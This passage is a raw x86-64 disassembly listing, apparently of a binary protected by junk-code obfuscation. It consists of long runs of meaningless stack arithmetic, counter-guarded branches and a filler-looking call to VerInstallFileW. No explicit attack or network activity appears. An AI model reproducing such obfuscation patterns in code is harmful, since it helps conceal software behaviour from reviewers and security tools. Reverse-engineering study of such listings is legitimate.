mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov eax, dword [rsp + 0x6e88]
sar eax, 1
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx eax, word [rsp + 0x1cd58]
movzx ecx, word [rsp + 0x3d10]
or eax, ecx
mov word [rsp + 0x112e0], ax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [rsp + 0xfd20]
and eax, ecx
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [0x14015d2cc]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov eax, dword [rsp + 0x154d0]
or eax, 0x6f7356f7
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movabs rax, 0xb2054c7a24cef49
mov rcx, qword [rsp + 0xaf68]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x14080]
and rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
jmp 0x14001730e
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
sub ecx, eax
movsx eax, byte [rsp + 0x1be30]
cmp ecx, eax
jle 0x140017947
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x154d0]
xor eax, 0x1800c4db
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
jmp 0x1401488a3
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x189b4]
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x12f20]
add eax, 0x30
mov dword [rsp + 0x12f20], eax
movzx ecx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x112e0], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x14080]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x257668e324d4334e
sub rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
xor ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rsp + 0x17460]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx eax, word [0x14015d2c8]
movsx ecx, word [rsp + 0xfd20]
add eax, ecx
mov word [rsp + 0x6d38], ax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d10]
sub eax, ecx
mov word [rsp + 0x112e0], ax
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x14080]
xor rax, rcx
mov qword [rsp + 0xd7f0], rax
mov eax, dword [rsp + 0x17460]
movzx ecx, al
mov eax, dword [rsp + 0x189b4]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
add eax, ecx
mov word [rsp + 0x112e0], ax
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x189b4]
add ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x7f68207cb0b87eb3
add rax, rcx
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0x6d38], ax
movzx edx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x1d4c0], al
cmp dword [rsp + 0x12f20], 0x1094b
jne 0x140017947
movzx eax, byte [rsp + 0xb681]
mov byte [rsp + 0x8ac1], al
lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x1cd50], rax
mov dword [rsp + 0x13938], 0x871b
movzx edi, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
or edi, eax
movzx edx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp edi, eax
je 0x140017ef1
lea rax, [rsp + 0xb700]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x1bd58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x12950]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xe208]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb700]
mov r8, qword [rsp + 0x1bd58]
mov rdx, qword [rsp + 0x46a8]
mov ecx, 0xee
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x17460], eax
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cd58]
xor eax, ecx
mov word [0x14015d2cc], ax
cmp dword [rsp + 0xb898], 0x8b81
ja 0x1400182cf
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x21b8]
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x6e88]
add eax, 0x59ddd547
mov dword [rsp + 0x154d0], eax
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x1be30], al
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [rsp + 0xfd20]
sub eax, ecx
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1ef10]
add ecx, dword [rax]
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov eax, dword [rsp + 0x6e88]
or eax, 0x5bd49f59
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
xor ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rcx, qword [rsp + 0xaf68]
shl rcx, 0x35
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x1be30], al
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0x6d38], ax
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x17460]
add ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov eax, dword [rsp + 0xb898]
add eax, 0x99
mov dword [rsp + 0xb898], eax
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x3d10], ax
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x189b4]
add ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x54a50ea9a949ff54
sub rax, rcx
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17460]
and ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movabs rax, 0x27238b6ab151e755
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movsx edx, word [rsp + 0x6d38]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x1be30], al
movsx edx, word [rsp + 0x6d38]
movsx eax, word [rsp + 0xfd20]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [0x14015d2c8], ax
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x112e0], ax
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x3f80]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x484c31220c44f583
add rax, rcx
mov qword [rsp + 0xaf68], rax
jmp 0x140017ef1
cmp dword [rsp + 0x3340], 0x12e9f
jae 0x140018505
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, byte [rsp + 0x1d4c0]
add eax, ecx
mov byte [rsp + 0xb681], al
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0xd7f0]
sub rax, rcx
mov qword [0x1401601a8], rax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rcx, qword [rsp + 0x21b8]
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x14080]
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
sar rax, cl
mov qword [rsp + 0xd7f0], rax
movabs rax, 0xb01ba71e579de8a4
mov rcx, qword [rsp + 0xaf68]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov eax, dword [rsp + 0x189b4]
movzx ecx, al
mov eax, dword [rsp + 0x3f80]
shl eax, cl
mov dword [rsp + 0x17460], eax
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f80]
add ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov eax, dword [rsp + 0x3340]
add eax, 0xbc
mov dword [rsp + 0x3340], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0x14080]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
mov eax, dword [rsp + 0x6e88]
add eax, 0x51451459
mov dword [rsp + 0x154d0], eax
movabs rax, 0x6eabc5918dab140b
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rsp + 0x3f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
jmp 0x1400182cf
movzx eax, byte [rsp + 0x1d4c0]
movzx ecx, byte [rsp + 0x8ac1]
add eax, ecx
mov byte [rsp + 0xb681], al
cmp dword [rsp + 0x1a1b8], 0xb962
ja 0x1400189df
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov eax, dword [rsp + 0x1a1b8]
add eax, 0xec
mov dword [rsp + 0x1a1b8], eax
mov rdx, qword [rsp + 0x21b8]
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [0x14015d2c8]
and eax, ecx
mov word [rsp + 0xfd20], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
movzx ecx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x14015d2cc], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0xd7f0]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x154d0]
xor eax, 0x36fc66cf
mov dword [rsp + 0x6e88], eax
movabs rax, 0x70948d33f559a1ba
mov rcx, qword [rsp + 0xaf68]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
movsx edx, word [rsp + 0xfd20]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x6d38], ax
movsx eax, word [rsp + 0x6d38]
movsx ecx, word [0x14015d2c8]
and eax, ecx
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x189b4]
sub ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c20]
movabs rcx, 0xc5b0a5c2779af3e1
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0xb9d8]
sub rax, rcx
mov qword [rsp + 0x14080], rax
mov eax, dword [rsp + 0x6e88]
add eax, 0x1d03ba3d
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, byte [rsp + 0xb681]
add eax, ecx
mov byte [rsp + 0x8ac1], al
movzx ecx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx edx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xd7f0]
movzx ecx, al
mov rax, qword [rsp + 0x14080]
shl rax, cl
mov qword [rsp + 0xb9d8], rax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x17460]
sub eax, ecx
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [0x14015d2c8]
sub eax, ecx
mov word [rsp + 0x6d38], ax
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [rsp + 0x1cd58]
add eax, ecx
mov word [rsp + 0x112e0], ax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
jmp 0x14001851e
movabs rax, 0x1dc7a9f60a606a31
mov rcx, qword [rsp + 0xaf68]
imul rcx, rax
mov rax, qword [rsp + 0x4c20]
cmp rcx, qword [rax]
jbe 0x140018a29
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
jmp 0x140018ad4
movzx edi, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
sub edi, eax
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jge 0x140018ad4
lea rax, [rsp + 0xa284]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x1bd58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x1bd58]
